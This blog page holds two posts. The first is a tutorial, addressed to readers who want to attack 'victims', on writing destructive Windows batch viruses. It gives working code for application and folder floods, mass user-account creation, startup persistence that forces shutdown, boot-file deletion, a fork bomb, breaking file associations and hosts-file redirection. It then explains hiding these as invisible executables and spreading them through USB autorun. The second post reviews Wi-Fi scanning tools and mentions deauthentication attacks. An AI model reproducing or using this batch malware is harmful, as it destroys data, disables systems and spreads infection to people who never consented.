Creating VIRUSES using BATCH Programming

Creating VIRUSES using BATCH Programming

Hai guys.. This is Prabhu. I just want to share something that i know about creatig VIRUS using BATCH FILES. Batch files are type of executable files with the extention ".bat" . Coming to the point , we can create malicious and irritating virus just by typing their codes and saving them as .bat extension.

I could just you give the codes to paste in notepad and ask you to save files with extension .bat and your deadly batch viruses would be ready to attack. But

instead of that, I have just focussed on making the basics of creating batch files clear and developing the approach to code your own viruses.So please just try to understand the code instead of copying it to notepad.

• What are Batch Files ?

Lets start with a simple example , Open your command prompt(cmd) and change your current directory on to 'desktop' by typing 'cd desktop' without the quotes.

Now type these commands in order

1. md a //makes directory 'a' on desktop
2. cd a // changes current directory to 'a'
3. md b // makes a directory 'b' in directory 'b'
We first make a folder/directory 'a', then enter in folder 'a',then make a folder 'b' in folder 'a' .
Now delete the folder 'a'.
Lets do the same thing in an other way. Type the same three commands given above in the notepad and save the file as anything.bat . You can give any name in place of 'anything'.               

    

Now simply double click on this batch file and the same job will be done by the file created using notepad and by using command prompt(cmd) . You will get a folder with name 'a' on your desktop and another folder with name 'b' in it. This means the three commands are executed in order, when we ran the batch file

So a batch file is nothing but a text containing series of commands which are executed automatically line by line when the batch file is run.

What can batch viruses do ?

They can be used to delete the windows files,format data,steal information,irritate victim, consume CPU resources to affect performance,disable firewalls,open ports,modify or destroy registry and for many more purposes.

Now lets start with simple codes, Just copy the code to notepad and save it as anything.bat (here anything means any name youwant to give to your file but extension must be .bat and save it as 'all files' instead of text files).

Note: Type 'help' in command prompt to know about some basic commands and to know about using a particular command , type 'command_name /?' without quotes.

1. Application Bomber

@echo off // It instructs to hide the commands when batch files is executed
:x //loop variable
start winword
start mspaint //open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop
This code when executed will start opening different applications present in the system like paint,notepad,command prompt repeatedly(because of infinite loop), irritating the victim and ofcourse affecting the performance.

2. Folder flooder
@echo off
:x
md %random% // makes directory or folder.
goto x
Here %random% is a variable that would generate any positive number randomly. So this code will start creating folders whose name can be any random number.

3.User account flooder
@echo off
:x
net user %random% /add //create user account
goto x

This code will start creating windows user accounts whose names could be any random numbers.

3.Shutdown Virus

copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” //these two commands will copy the batchfile in start up folders (in XP)
shutdown -s -t 00 //this will shutdown the computer in 0 seconds

Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Everytime when the victim start's the computer, this batch file in start up will run and shutdown the computer immediately. You will be able to remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

4. Deleting boot files
Goto C drive in Win XP , Tools->Folder Option->View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply
Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.
Lets make a batch file to
delete this file from victim's computer and the windows will not start then.
attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del ntldr //delete ntldr file

After running this batch file , system will not reboot and a normal victim should definitely install the windows again use his computer.

5. Fork Bomb
%0|%0 //Its percentage zero pipe percentage zero
This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .

                     

6. Extension Changer

@echo off
assoc .txt=anything // this command associates extension .txt with filetype anything.
assoc .exe=anything
assoc .jpeg=anything
assoc .png=anything
assoc .mpeg=anything

Every extension is associated with a filetype like extension ‘.exe’. It is associated with filetype ‘exe file’. To know these, just type ‘assoc’ in command prompt.

Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files will not be able to open properly.

7. DNS Poisoning
There is a file called ‘hosts’ located at c:\windows\system32\drivers\etc. We can place a website and an IP in front of it. By doing this, we want our web browser to take us to host located at that IP when that website name would be entered. I mean request to resolve IP of website is not sent to Domain Name Server(DNS) if the name of website in hosts file.
The code is:
@echo off
echo xxx.xxx.xxx.xxx www.anything.com > C:\windows\system32\drivers\etc\hosts //this command prints or add xxx.xxx.xxx.xxx. www.anything.com in hosts file.
Replace xxx.xxx.xxx.xxx and www.anything.com with IP address and website of your choice. You can take/redirect victim to any host located at specific IP when he wud try to log on to specific website or u can simply block any website by entering its name and any invalid IP address.

Note : Most of the batch viruses are simply undetectable by any anitiviruses
Tip : Coding good viruses just depends on the DOS commands you know and logic you use.

   

Limitations of Batch Viruses -:
1.Victim can easily read the commands by opening batch file in notepad.
2.The command prompt screen pops up,it alerts the victim and he can stop it.
To overcome these limitations,we need to convert these batch files into executable files that is exe files.
Download this Batch To Exe coverter from here.Remamber the password is "darktechandhack" .
After running converter , open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button.
You can use other options as per your requirement.

• Spreading batch viruses through pen drive -:
  

Step 1:

Open notepad and write
[autorun]
open=anything.bat
Icon=anything.ico
Save file as ‘autorun.inf’
Step 2: Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .
When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.

Do you like this article? Follow this blog and join as a member for more interesting tricks and tips. Feel free to ask me ,if you have any doubts. To approach personally copntact my mail address in "about me". Suggest your friends to visit this blog for interesting topics.

THANK YOU for reading . Visit my blog regularly and browse the blog for more interesting things...:-)

Thnaks to : Prabhu Vinod Tikkisetti |
Source : http://darktechtricks.blogspot.in/

Continue Reading

Top 8 WiFi Scanners For Ms Windows

Top 8 WiFi Scanners For Ms Windows

Most of the wireless routers today comes with some security feature such as security encryption (WEP/WPA), MAC address filtering, lowering transmission power, disabling DHCP & use static IP, and hiding of SSID to help keep your wireless network safe from intruders. Each wireless security mechanism helps to increase the difficulty of unauthorized users from hacking in to your wireless networks but surely does not prevent the determined ones. In this article we will be focusing on one of the option “Broadcast SSID” found in most wireless routers.

Basically when the broadcast SSID option is enabled, all wireless capable devices can see your router listed together with a bunch of other wireless networks. This option provides a convenience for you to easily connect to it by clicking on your SSID and entering the security key. However, this also allows the nearby hackers to find your network and also see the signal strength with the security type being used directly from Windows without even the need to run a network scanning tool. Non broadcasting wireless networks are not totally invisible as well because they can be detected by any of the 8 tools mentioned below.

1. inSSIDer

inSSIDer is the most popular free and open source Wi-Fi scanning tool available today. It is easy to use and understand without all the confusing configuration. After installation, running inSSIDer will automatically select your wireless adapter to start scanning for available access points. Then the results will be shown in a sortable table in the program displaying information such as SSID, channel, security, RSSI, MAC Address, maximum rate, vendor and network type.

The hidden wireless network is shown in the first line with an empty SSID but the rest of the information about the network is displayed. inSSIDer works on Windows XP/Vista/7 (32-bit & 64-bit) and also on Android and Mac.

Download inSSIDer

2. WirelessNetView

Another excellent small and portable utility by Nir Sofer called WirelessNetView allows you to view the available wireless networks around you. By placing the OUI database at the same folder as WirelessNetView, it can even show the brand of the wireless router based on the MAC address. It is possible to generate a HTML report file from the right click context menu and it also has command line support to save the list of wireless networks into an external TXT, CSV, HTML or XML file.

The hidden wireless network is shown without a SSID. A unique feature found in WirelessNetView is the ability to restart Windows Wireless Service from the Options toolbar or alternatively from the hotkey Ctrl+R. WirelessNetView works from Windows XP to Windows 7.

Download WirelessNetView

3. Winhotspot

Winhotspot is actually a stand alone application that allows you to easily create a hotspot to share your Internet connection using your wireless adapter. However it also comes with a scanner which can be accessed from the WiFi Stats tab and clicking the Refresh button shows all the available wireless networks including the hidden ones.

The wardriving feature is very basic that only shows the important information such as SSID, Auth, BSSID, Signal, Radio and Channel. This utility is only 154KB in size and works only in Windows 7 and 8. The file is hosted in CNET’s server and you should click on the Direct Download link instead of the big Download Now button to avoid downloading the unnecessary 600KB CNET installer.

Download Winhotspot

---

4. Homedale

Homedal (read our full review) is another portable and free wireless monitoring tool that is capable of showing hidden wireless networks. The program is divided into four different tabs showing an overview of your wireless adapter, access points, signal graph and options. At the Access Points tab you can see all the detected networks with the signal strength levels being automatically updated every few seconds.

An interesting feature found in Homedale is the ability to connect to the access point by right clicking on the AP and select Connect. Unfortunately the connect command does nothing to the hidden ones without the SSID.

Download Homedale

5. NetSurveyor

NetSurveyor by Nuts About Nets seems to be a more professional tool as it comes with logging to record and playback the data. Other than that, a PDF report can also be automatically generated from the File menu that shows the discovered networks, beacon qualities, usage of channels and timecourse/heatmap/spectrogram of channels.

Hidden wireless networks are shown as UNKNOWN_SSID_BSSID in the program. The channel usage bar graph instantly tells you the overlapping channels with the colored bars. Even if your computer does not have a wireless adapter, NetSurveyor can be ran as DEMO mode to get a feel on how it works. NetSurveyor works from XP SP3 with Microsoft .NET Framework version 3.5 or later.

Download NetSurveyor

6. Xirrus Wi-Fi Inspector

Xirrus Wi-Fi Inspector is biggest in file size at 21MB if compared to the rest of the scanners mentioned in this article. The program has a modern ribbon type of user interface which seems a bit unnecessary because it only has 1 Home tab. The program categorizes into four different parts which is the radar, connection information, found networks and signal history. The radar simply displays the access points closest to you.

A gadget version of the Inspector can also be downloaded from the official website. It is free and works on Windows XP SP2 or later, Vista, or 7.

Download Xirrus Wi-Fi Inspector

7. Vistumbler

Vistumbler is a free wireless network scanner coded in Autoit made for Vista to replace the outdated Netstumbler. Vistumbler has been around since 2007 and an updated version has been recently released after without updates for 2 years. The method used by Vistumbler to scan the access point is the same as method #8 below except the results are shown in an easy to read table.

Running Vistumbler will report that an update is available even though we’ve just downloaded the latest version. Clicking on the Yes button will prompt an error about a variable used without being declared and clicking OK will close the program. What you need to do is simply click No when it ask you if you like to update vistumbler.

Download Vistumbler

8. netsh
If you are unable to install and run any of the 7 tools above, netsh would be your best alternative. netsh is a command shell tool by Microsoft found in Windows operating system. Simply launch command prompt and type the following command line to get a list of wireless networks. It is advisable to disconnect from any access points before running this command to get a more accurate result.

netsh wlan show networks mode=bssid

The netsh command is useful because it doesn’t require installation of third party programs but it does not come with a fancy graphical user interface or nice looking graphs. Surprisingly the netsh tool is able to show quite a wealth of information if compared to the third party tools mentioned above. Do take note that if both wired and wireless are connected, you will need to disable the wired connection first or else you’ll get the message “There are 0 networks currently visible”.

Editor’s Note: If you haven’t noticed, all of the network scanning tools above can only discover invisible wireless networks but they cannot reveal the hidden SSID. Most of them shows a blank SSID while only NetSurveyor shows UNKNOWN_SSID and Xirrus Wi-Fi Inspector shows Non-Broadcasted. There are some wireless utility that is installed together with the wireless adapter driver capable of showing hidden networks. Although the Windows wardriving tools is unable to reveal the hidden SSID in invisible wireless networks, it doesn’t mean that hiding SSID broadcast is safe. The hidden SSID can be revealed by de-authenticating connected users using aireplay-ng that is found in BackTrack Linux.

Source: http://www.raymond.cc
Read more: http://www.raymond.cc/blog/how-to-discover-hidden-wireless-network/#ixzz2itoqi6G8

Continue Reading